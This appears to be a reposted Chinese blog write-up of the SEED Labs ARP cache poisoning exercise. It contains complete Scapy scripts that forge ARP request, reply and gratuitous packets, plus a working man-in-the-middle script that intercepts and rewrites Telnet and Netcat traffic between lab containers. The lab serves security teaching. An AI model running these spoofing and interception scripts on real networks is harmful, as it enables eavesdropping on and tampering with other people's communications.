【SeedLab】ARP Cache Poisoning Attack Lab

这篇具有很好参考价值的文章主要介绍了【SeedLab】ARP Cache Poisoning Attack Lab。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

实验手册

实验环境

Task 1: ARP Cache Poisoning

Task 1.A (using ARP request).

Task 1.B (using ARP reply).

Task 1.C (using ARP gratuitous message).

 Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Task 3: MITM Attack on Netcat using ARP Cache Poisoning


实验手册

ARP Cache Poisoning Attack Lab

实验环境

【SeedLab】ARP Cache Poisoning Attack Lab

Task 1: ARP Cache Poisoning

         本节任务需要通过packet伪造发起ARP缓存毒害攻击。当HostA与HostB相互通信时,他们的ARP数据将被Attacker拦截并修改,使得Attacker成为HostA与HostB的中间人(中间人攻击)。当然,当前任务只关注ARP缓存毒害的部分。

Task 1.A (using ARP request).

        在Attacker的主机上向HostA发送一则ARP请求,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。

        首先在HostA上使用命令arp -n确保HostA此前没有记录HostB的IP-MAC映射。如果有,使用arp -d 10.9.0.x清除这条映射关系

【SeedLab】ARP Cache Poisoning Attack Lab

        接下来需要使用ifconfig查询MAC地址,然后实现代码并在Attacker上运行这则代码。       

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A)     # 定义Attacker发往HostA的数据帧
arp = ARP()         # 定义一个ARP报文
arp.op = 1          # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6'   # 伪造HostB发送的ARP请求
arp.pdst = '10.9.0.5'   # 发给HostA
arp.hwsrc = MAC_M       # 告诉HostA,发送方的MAC地址
sendp(ether/arp)    # sendp用于在数据链路层发送一个帧(不是send)

        此时,我们再在HostA上查询arp缓存,即可发现HostB的IP被映射为Attacker的MAC地址。

【SeedLab】ARP Cache Poisoning Attack Lab

Task 1.B (using ARP reply).

        在Attacker的主机上向HostA发送一则ARP回复,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。在此之前,需要保证正确的IP-MAC关系存在于HostA的缓存中。

【SeedLab】ARP Cache Poisoning Attack Lab

        我们在Attacker上运行以下代码

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A)     # 定义Attacker发往HostA的数据帧
arp = ARP()         # 定义一个ARP报文
arp.op = 2          # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6'   # 伪造HostB发送的ARP回复
arp.pdst = '10.9.0.5'   # 发给HostA
arp.hwsrc = MAC_M       # 告诉HostA,发送方的MAC地址
arp.hwdst = MAC_A
sendp(ether/arp)    # sendp用于在数据链路层发送一个帧(不是send)

        此时查询HostA的ARP缓存,即可看到映射关系被修改。

【SeedLab】ARP Cache Poisoning Attack Lab

         接下来,我们清空掉HostA的ARP缓存,在尝试一遍攻击。此时发现HostA虽然接收到了Attacker的ARP回复,但并没有将其写入缓存。这与Linux内核的策略有关。

Task 1.C (using ARP gratuitous message).

        在Attacker的主机上向HostA发送一则免费ARP,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。ARP免费包是一种特殊的ARP请求包,当主机需要更新其他机器上的ARP缓存时使用,这种数据包有以下特点:

        1. 目的IP与源IP相同,均为需要更新的映射关系的IP

        2. 目的MAC地址为广播地址

        3. 不产生回复报文

        接下来实现代码并在Attacker上运行,在此之前,确保正确的IP-MAC关系存在于HostA的缓存中。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
ether = Ether(src = MAC_M, dst = MAC_BROADCAST)
arp = ARP()         # 定义一个ARP报文
arp.op = 2
arp.psrc = '10.9.0.6' 
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
arp.hwdst = MAC_BROADCAST
sendp(ether/arp)

        运行代码后,HostA中,关于HostB的IP-MAC映射关系被修改

【SeedLab】ARP Cache Poisoning Attack Lab

        接下来删除HostA上的ARP缓存,重新发起攻击尝试,结果同Task1.B,关系不会被HostA计入缓存。

 Task 2: MITM Attack on Telnet using ARP Cache Poisoning

        HostA与HostB通过Telnet交换信息,而HostM通过改变两者数据传输路径截获他们的信息,即“中间人“攻击。基本方法即修改HostA和HostB的ARP映射,使A与B的数据均通过M转发。

        我们需要首先修改HostA和HostB的ARP缓存,使Attacker充当它们的“中间人”。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
# 修改HostA的MAC映射
ether = Ether(src = MAC_M, dst = MAC_A)
arp = ARP(op=1)
arp.psrc = '10.9.0.6' 
arp.pdst = '10.9.0.5'
arp.hwsrc = MAC_M
sendp(ether/arp)
# 修改HostB的MAC映射
ether = Ether(src = MAC_M, dst = MAC_B)
arp = ARP(op=1)
arp.psrc = '10.9.0.5' 
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
sendp(ether/arp)

        接下来实现Attacker完成中间人攻击的程序。实现后不着急启动。注意,这里filter应使用MAC作为过滤条件而非IP,因为Attacker在send数据包时不会修改IP,会导致由Attacker发送的伪造包再次被Attacker接收篡改(相当于一种死循环)。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
HOST_A = '10.9.0.5'
HOST_B = '10.9.0.6'
# 中间人攻击
def spoofing(pkt):
    # 截获A ---> B的数据
    if pkt[IP].src == HOST_A and pkt[IP].dst == HOST_B:
        newpkt = IP(bytes(pkt[IP]))
        # 删除校验和以及原有的携带信息
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        # 携带数据时,对数据进行处理再转发
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            newdata = re.sub(r'[0-9a-zA-Z]', r'x', data.decode('utf-8'))
            # print(newdata)
            send(newpkt/newdata)
        else:
            send(newpkt)
        return
    # 截获B ---> A的数据
    if pkt[IP].src == HOST_B and pkt[IP].dst == HOST_A:
        # 不做处理直接转发
        # 注意数据包每经过一次路由转发,都会修改报文头信息,
        # 需要重新计算校验和
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt)
        return
filter = 'tcp and (ether src ' + MAC_A + ' or ' + 'ether src ' + MAC_B + ')'
pkt = sniff(iface = 'eth0', filter = filter, prn = spoofing)

        接下来开始实现中间人攻击。首先在HostA上远程访问HostB,使用命令telnet 10.9.0.6访问HostB。由于Linux主机默认进行路由转发,因此在telnet完成远程连接后,需要通过sysctl net.ipv4.ip_forward=0关闭Attacker的路由转发功能。接下来即可运行以上中间人攻击的代码,此时即可发现,在HostA键入的字符全部被替换为'x' 

【SeedLab】ARP Cache Poisoning Attack Lab

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

        程序保持不变,而是用nc进行HostA到HostB的交互。可以看出,A发往B的信息被M篡改。

        (使用ctrl+]进入telnet命令行页面,输入quit回车即可退出telnet远程)

        只不过这个Task需要先运行中间人攻击程序,然后在HostB使用nc -lp 9090监听9090端口,之后在HostA使用nc 10.9.0.6 9090发送消息,即可观察到以下现象

【SeedLab】ARP Cache Poisoning Attack Lab

 文章来源地址https://www.toymoban.com/news/detail-489988.html

到了这里,关于【SeedLab】ARP Cache Poisoning Attack Lab的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【信息安全】seed-labs实验-TCP/IP Attack Lab

    Install SEED VM on VirtualBox 上面完成了一台虚拟机的基本配置,然后clone两台虚拟机,和原来的虚拟机一起,分别是attacker、victim和observer。 attacker是发起攻击的机器、victim是遭受攻击的机器和observer是观察用的机器,同时后面也将victim作为客户端、observer作为服务器。 Oracle Virtua

    2024年02月02日
    浏览(33)
  • 探索网络攻击:ARP断网、ARP欺骗和DNS欺骗实验解析

    目录 前言 一、ARP概述 1.1 什么是ARP 1.2 ARP协议的基本功能 1.3 ARP缓存表 1.4 ARP常用命令 二、ARP断网实验 三、ARP欺骗实验 3.1 内网截获图片 3.2 HTTP账户密码获取 四、DNS欺骗实验 总结 🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。 💡本文由Filot

    2024年02月06日
    浏览(34)
  • 实验6 ARP分析

    一、实验名称 ARP分析实验 二、实验目的 掌握基本的ARP命令 熟悉ARP报文格式和数据封装方式 理解ARP的工作原理 三、背景知识 1.什么是ARP ARP,即地址解析协议。TCP/IP网络使用ARP实现IP地址到MAC地址的动态解析。由于IP地址只是一个逻辑地址,它实现了对互联网进行统一编址,

    2024年02月09日
    浏览(16)
  • ARP网络攻击实验

    ARP攻击原理: ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的网络层,负责将某个IP地址解析成对应的MAC地址。 ARP 病毒攻击是局域网最常见的一种攻击方式。由于TCP/IP协议存在的一些漏洞给ARP病毒有进行欺骗攻击的机会,ARP利用TCP/IP协议的漏洞进行欺

    2023年04月17日
    浏览(47)
  • 攻击实施 | ARP欺骗攻击实验

    1、确定两台主机在一个子网中,具有相同IP的前缀 win10(192.168.112.131)(00-0c-29-d6-f8-97) kali(192.168.112.128)(00:0c:29:3b:63:2a) 2、测试两者连通性 可以ping通 3、安装arp欺骗工具 4、开启kali的路由转发   5、实施攻击 6、安装driftnet工具对win 10主机访问外网流量捕获图像并显示

    2024年02月08日
    浏览(39)
  • 【Linux进阶之路】ARP欺骗实验

    话不多说,直接干! 首先我们需要准备一下环境,先配置VMARE,然后下载KALI的虚拟机。 详细的安装教程视频:点击跳转,下载KALI可能要半个小时,中间可以看个剧玩个游戏缓一缓。 配置好之后,我们需要先将网络环境配好,我们将电脑连接到手机热点上即可。 查看ip地址:

    2024年04月09日
    浏览(35)
  • 计算机网络实验二:ARP欺骗

    博客链接:https://www.blog.23day.site/articles/66 要求:配置并使用wireshark,在无线环境下监听 非本机 的数据码流,记录并解释如下集中情况下听到的数据包的意义,并对比分析 Wireshark是一种抓包工具,这种工具比fiddler更强大,消息量更多。大家可能会问:有了fiddler,为什么还要

    2024年02月05日
    浏览(41)
  • 关于网络安全 的 ARP欺骗 实验操作

    实验设备: Windows server 2008 kali 1. vmware--上面菜单栏--虚拟机--设置--网络--NAT 模式 确定靶机与攻击机的连通性(互相能 ping 通) 靶机查看 arp 表(arp -a) 查看攻击机(kali)物理地址(ip addr) kali 设置 ip 地址转发 arp 欺骗 这个时候报错,告诉我们需要升级 升级中 升级成功后继续

    2024年01月24日
    浏览(29)
  • 实验十四:Wireshark数据抓包分析之ARP协议

    实验十四:Wireshark数据抓包分析之ARP协议 目录 一、实验目的及要求 二、实验原理 1、什么是ARP  2、ARP工作流程 3、ARP缓存表 三、实验环境 四、实验步骤及内容 实验步骤一 1、使用netsh绑定IP和MAC地址 2、使用ARP进行相关的增加,删除,查看等操作 实验步骤二 实验步骤三 1、

    2024年02月02日
    浏览(26)
  • 实验4 Cache性能分析【计算机系统结构】

    2023-6-16 21:19:13 以下内容源自《【计算机系统结构】》 仅供学习交流使用 实验3 Tomasulo算法【计算机系统结构】 (1)加深对Cache的基本概念、基本组织结构以及基本工作原理的理解。 (2)掌握Cache容量、相联度、块大小对Cache性能的影响。 (3)掌握降低Cache不命中率的各种方法。 采用

    2024年02月09日
    浏览(65)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包